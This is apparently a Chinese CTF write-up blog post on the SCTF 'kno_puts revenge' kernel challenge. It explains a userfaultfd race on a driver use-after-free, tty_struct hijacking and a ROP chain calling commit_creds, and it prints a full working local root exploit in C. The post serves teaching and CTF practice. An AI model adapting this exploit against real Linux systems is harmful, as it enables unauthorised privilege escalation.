SCTF-kno_puts_revenge详解

SCTF-kno_puts_revenge详解

Berial Lv2

前言

本次SCTF刚好出了两道关于内核UAF的题目,本文写的是kno_puts revenge;

参考文章: 点击查看

本文将以从拿到题目后的每一步流程写起,相关的知识点部分会在遇到该知识点时进行讲解;

做题准备

Step.1

熟悉题目中给的文件;

image-20241009160624270

在解压题目之后是有三个文件,分别为:

  • boot.sh:qemu虚拟机启动文件;
  • bzImage:big zImage,是vmlinux经过压缩后的文件。
  • roottfs.cpio:打包好的文件系统。

Step.2

对每个文件进行预处理

修改boot.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu qemu64,+smep,+smap \
-kernel bzImage \
-initrd rootfs.cpio \
-monitor /dev/null \
-append "console=ttyS0 kaslr quiet panic=1" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

我们为了方便调试会修改参数,比如关闭kaslr,以及加上-s参数以便调试;

修改后:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu qemu64,+smep,+smap \
-kernel bzImage \
-initrd rootfs.cpio \
-monitor /dev/null \
-append "console=ttyS0 nokaslr quiet panic=1" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-s

提取vmlinux

使用工具:vmlinux-to-elf

1
vmlinux-to-elf bzImage > vmlinux

提取可用gadget

使用工具:ropper

1
ropper -f ./vmlinux --nocolor > gadget.txt

解包文件系统

该文件系统可以直接双击提取

image-20241009162538818

然后修改init文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/sh

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /etc ] || mkdir /etc

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t tmpfs tmpfs /tmp

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true

ln -sf /proc/mounts /etc/mtab

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/vm/unprivileged_userfaultfd


mdev -s
chown 0:1000 /dev/console
chown 0:1000 /dev/ptmx
chown 0:1000 /dev/tty

chmod 400 flag


insmod /test.ko
mknod -m 666 /dev/ksctf c `grep ksctf /proc/devices | awk '{print $1;}'` 0

setsid /bin/cttyhack setuidgid 1000 /bin/sh

poweroff -d 0 -f

修改用户为root,并且每次启动都输出一次驱动加载地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/sh

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /etc ] || mkdir /etc

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t tmpfs tmpfs /tmp

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true

ln -sf /proc/mounts /etc/mtab

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/vm/unprivileged_userfaultfd


mdev -s
chown 0:1000 /dev/console
chown 0:1000 /dev/ptmx
chown 0:1000 /dev/tty

chmod 400 flag


insmod /test.ko
mknod -m 666 /dev/ksctf c `grep ksctf /proc/devices | awk '{print $1;}'` 0
cat /sys/module/test/sections/.text
setsid /bin/cttyhack setuidgid 0 /bin/sh

poweroff -d 0 -f

Step.3

静态分析驱动文件;

my_module_ioctl

我将此处分为三部分,分别为检查和两个功能

检查部分:

image-20241009163418992

此处需要我们输入password,但是这个password是随机生成的;

申请堆块:

image-20241009163543219

当操作码为0xFFF0时,会申请一个0x2E0大小的堆块,并且将该地址传给用户态;

释放堆块:

image-20241009163703391

当操作码为0xFFF1时,会释放该堆块,但是只有一次机会。

module_write

image-20241009164119132

从用户态往堆块中写入数据。

解题过程

Step.4

首先我们需要构建一个做题思路,如何去利用漏洞,看了一整个驱动的伪代码,我想到了CISCN2017-babydriver这道题,利用条件竞争,在新进程的结构体申请时会申请到之前的悬空堆块指针,这道题申请的大小为0x2E0,所以我们根据一些可利用的结构体的大小找到这道题我们应该是使用tty_struct,然后就是利用条件竞争。

Step.5

泄露kernel_base,内核5.4,这里我使用的是泄露sys/kernel/notes的内容,然后计算kernel_base

在调试的时候找到kernel base为:

image-20241014164211750

首先可以看下notes里面的内容,发现是有一些地址可以利用的:

1
2
3
4
5
6
int notes = open("/sys/kernel/notes", O_RDONLY);
char tmp[0x100] = {0};
read(notes, tmp, 0x100);
for(int i = 0; i < 0x100; i++){
printf("tmp[0x%x] = 0x%llx\n", i, *(long*)(&tmp[i]));//一次性读取 8 个字节的数据,并作为一个整体打印出来
}

image-20241014164306927

也就是说我们泄露出的tmp[0x9c]位置存放的这个地址减去0x2000就是kernel base

Step.6

绕过检查

image-20241014170241863

image-20241014170554324

有以下几个部分:

  • 用户态输入在v12;
  • 我们设置checkebuf为0x30大小;
  • 那么checkebuf[0x20]即为v13,也就是v11,我们需要令v11为1,所以checkbuf[0x20] = 1;
  • 接着我们申请堆块的时候内核态会把堆块地址传给用户态,也就是v6的位置;
  • 所以设置\*(long\*)&checkbuf[0x28] = (long)data;,利用data存储地址以便后边rop等各种使用;
1
2
3
4
5
6
7
8
9
10
checkbuf[0x20] = 1;
*(long*)&checkbuf[0x28] = (long)data;
ioctl(fd, 0xFFF0, checkbuf);
ptr = *(long*)data;
printf("[+] checkbuf[0x20]: %d\n", checkbuf[0x20]);
printf("[+] *(long*)&checkbuf[0x28]: 0x%llx\n", *(long*)&checkbuf[0x28]);
printf("[+] *(long*)data: 0x%llx\n", *(long*)data);
printf("[+] ptr: 0x%llx\n", ptr);
char a[0x20] = {1,1,1,1,1,1,1,1,1,1,1,1,1,1};
write(fd, a, 0x20);

image-20241014173838215

image-20241014173846330

可以看到我们确实可以直接执行申请堆块,堆块地址也拿到了,并且也成功写入内容了,说明检查已经绕过了;

Step.7

这一部分就是最重要的部分了,注册userfaultfd来处理缺页错误;

那么从哪里来的缺页错误呢,这是我们需要解决的一个问题:

image-20241014175324437

利用我们write函数的copy_from_user,假如我们传入的a2是一块mmap映射出来的未初始化的一块区域,此时就会发生缺页错误,此时copy_from_user就会暂停执行,在暂停时,我们再打开另一个线程将ptr释放,将其他结构申请到这里,然后恢复执行copy_from_user时,此时我们的ptr指向的就是我们申请的其他结构体,在这道题我们用的是tty_struct,然后就可以对tty进行修改了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void Handler(int uffd){
struct uffd_msg msg;
struct uffdio_copy uc;
unsigned long* faketty = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
struct pollfd pf;
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
......
uc.src = (unsigned long)faketty;//写入的内容页,这里是我们自己写的faketty
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
break;
}
void* page;
void userfaultfd(){
page = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_register ur;
struct uffdio_api ua;
ur.range.start = (unsigned long)page;
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1){
return 1;
}
ioctl(uffd, UFFDIO_REGISTER, &ur);
pthread_t pt;
pthread_create(&pt, NULL, (void*(*)(void*))Handler, (void*)uffd);
}

这是目前的注册userfaultfd的函数,handler在后面继续写,这里大致就算是一个模板了,如果想了解这里面结构体的各个成员可以看我前言参考文章中的第三篇,讲解的比较详细,这里主要是为了做题就不赘述了;

Step.8

写rop之前我们需要了解下我们劫持tty结构体是为了什么,如何利用这个结构体:

当用户打开ptmx驱动时,会分配一个tty_struct结构,源码放在了文章最后;

其中有一个const struct tty_operations *ops;,它是一个tty_operations指针,tty_operations结构体里面是一些对驱动操作的函数指针;

此时可以想到我们在做用户态高版本堆利用时,会伪造vtable来利用IO进行攻击,在这里也是一样的,我们伪造一个tty_struct,使里面指向伪造的tty_operations结构体,再对驱动执行相应的函数,而此时该函数指向的是我们写的ROP链,就可以达到一个控制程序执行流程的目的。

Step.9

该题目的gadget可能比较麻烦,没有找到特别合适的,只能用一些带着其他指令的gadget,稍微调试一下便好;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void Handler(int uffd){
size_t commit_creds = kernel_base + 0x97d00;
size_t prepare_kernel_cred = kernel_base + 0x98140;
size_t pop_rop_31_to_rsp = kernel_base + 0x572fb3;
size_t pop_rdi = kernel_base + 0x003e98;
size_t pop_rbx = kernel_base + 0x35a6;
size_t mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx = kernel_base + 0x34e90e;
size_t swapgs = kernel_base + 0x5c8f0;
size_t iretq = kernel_base + 0x32b42;
struct uffd_msg msg;
struct uffdio_copy uc;
unsigned long* faketty = (unsigned long*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
int idx = 0x20;
while (1)
{
struct pollfd pf;
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(&uffd, &msg, sizeof(msg));
if(msg.event <= 0){
continue;
}
faketty[0] = TTY_STRUCT_MAGIC;
faketty[2] = ptr;
faketty[3] = ptr;
*(long*)(((char*)faketty) + 0x31) = ptr+0x100;
faketty[12] = pop_rop_31_to_rsp;//tty_operations[12] = ioctl
faketty[idx++] = pop_rdi;
faketty[idx++] = 0;
faketty[idx++] = prepare_kernel_cred;
faketty[idx++] = pop_rbx;
faketty[idx++] = 0;
faketty[idx++] = mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx;
faketty[idx++] = 0;
faketty[idx++] = commit_creds;
faketty[idx++] = swapgs;
faketty[idx++] = iretq;
faketty[idx++] = (unsigned long long)shell;
faketty[idx++] = user_cs;
faketty[idx++] = user_rflags;
faketty[idx++] = user_rsp;
faketty[idx++] = user_ss;
*(long*)&checkbuf[0x58-0x30] = 0;
ioctl(fd, 0xFFF1, checkbuf);
for(int i = 0; i < 0x50; i++){
ptmx[i] = open("/dev/ptmx", O_RDWR);
}
uc.src = (unsigned long)faketty;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
break;
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <string.h>
#include <syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#define TTY_STRUCT_MAGIC 0x0000000100005401
/*
>>> hex(base - libc.sym['commit_creds'])
'-0x97d00'
>>> hex(base - libc.sym['prepare_kernel_cred'])
'-0x98140'

0x572fb3: push qword ptr [rcx + rdx + 0x31]; rcr byte ptr [rbx + 0x5d], 0x41; pop rsp; ret;
0x003e98: pop rdi; ret;
0x0035a6: pop rbx; ret;
0x34e90e: mov rdi, rax; test rbx, rbx; jg 0x34f900; mov rax, rdi; pop rbx; ret;
0x5c8f0: swapgs; ret;
0x32b42: iretq; ret;
*/
size_t kernel_base;

int fd;
char check_buf[0x30];
char data[0x400];
int ptmx[0x100];
long ptr;
size_t user_cs, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
puts("\033[32m[+]save status successfully\033[0m");
}

void shell() {
system("/bin/sh");
return;
}

char data[0x400],checkbuf[0x30];
int ptmx[0x100];
int fd;
long ptr;
size_t kernel_base;

void Handler(int uffd) {
size_t commit_creds = kernel_base + 0x97d00;
size_t prepare_kernel_cred = kernel_base + 0x98140;
size_t pop_rop_31_to_rsp = kernel_base + 0x572fb3;
size_t pop_rdi = kernel_base + 0x003e98;
size_t pop_rbx = kernel_base + 0x35a6;
size_t mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx = kernel_base + 0x34e90e;
size_t swapgs = kernel_base + 0x5c8f0;
size_t iretq = kernel_base + 0x32b42;
struct uffd_msg msg;
struct uffdio_copy uc = { 0 };
unsigned long* faketty = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
int idx = 0x20;
while(1){
struct pollfd pf = { 0 };
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
if (msg.event <= 0) {
continue;
}
faketty[0] = TTY_STRUCT_MAGIC;
faketty[2] = ptr;
faketty[3] = ptr;
*(long*)(((char*)faketty) + 0x31) = ptr+0x100;
faketty[12] = pop_rop_31_to_rsp;
faketty[idx++] = pop_rdi;
faketty[idx++] = 0;
faketty[idx++] = prepare_kernel_cred;
faketty[idx++] = pop_rbx;
faketty[idx++] = 0;
faketty[idx++] = mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx;
faketty[idx++] = 0;
faketty[idx++] = commit_creds;
faketty[idx++] = swapgs;
faketty[idx++] = iretq;
faketty[idx++] = (unsigned long long)shell;
faketty[idx++] = user_cs;
faketty[idx++] = user_rflags;
faketty[idx++] = user_rsp;
faketty[idx++] = user_ss;
*(long*)&checkbuf[0x58 - 0x30] = 0;
ioctl(fd, 0xFFF1, checkbuf);
for (int i = 0; i < 0x50; i++) {
ptmx[i] = open("/dev/ptmx", O_RDWR);
}
uc.src = (unsigned long)faketty;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
break;
}
}
void* page;
void userfaultfd(){
page = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_register ur = { 0 };
struct uffdio_api ua = { 0 };
ur.range.start = (unsigned long)page;
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
return 1;
ioctl(uffd, UFFDIO_REGISTER, &ur);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))Handler, (void*)uffd);
}

int main() {
save_status();
fd = open("/dev/ksctf", O_RDWR);
//leak kernelbase
int note = open("/sys/kernel/notes", O_RDONLY);
char tmp[0x100] = { 0 };
read(note, tmp, 0x100);
kernel_base = *(long*)(&tmp[0x9c]) - 0x2000;
checkbuf[0x20] = 1;
*(long*)&checkbuf[0x28] = (long)data;
//userfauld
userfaultfd();
ioctl(fd, 0xFFF0, checkbuf);
ptr = *(long*)data;
write(fd, page, 0x2e0);
for (int i = 0; i < 0x50; i++) {
ioctl(ptmx[i], 0, ptr);
}
return 0;
}

源码

tty_struct

位于/include/linux/tty.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
struct kref kref;
int index;
struct device *dev;
struct tty_driver *driver;
struct tty_port *port;
const struct tty_operations *ops;

struct tty_ldisc *ldisc;
struct ld_semaphore ldisc_sem;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
struct ktermios termios, termios_locked;
char name[64];
unsigned long flags;
int count;
unsigned int receive_room;
struct winsize winsize;

struct {
spinlock_t lock;
bool stopped;
bool tco_stopped;
} flow;

struct {
struct pid *pgrp;
struct pid *session;
spinlock_t lock;
unsigned char pktstatus;
bool packet;
} ctrl;

bool hw_stopped;
bool closing;
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock;
int write_cnt;
u8 *write_buf;

struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096
struct work_struct SAK_work;
} __randomize_layout;

tty_operations

位于/include/linux/tty_driver.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
ssize_t (*write)(struct tty_struct *tty, const u8 *buf, size_t count);
int (*put_char)(struct tty_struct *tty, u8 ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, const struct ktermios *old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
int (*ldisc_ok)(struct tty_struct *tty, int ldisc);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, u8 ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *m, void *driver);
} __randomize_layout;
  • Title: SCTF-kno_puts_revenge详解
  • Author: Berial
  • Created at : 2024-10-09 15:52:22
  • Updated at : 2024-10-15 18:37:01
  • Link: https://berial.cn/posts/SCTF-kno_puts_revenge/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments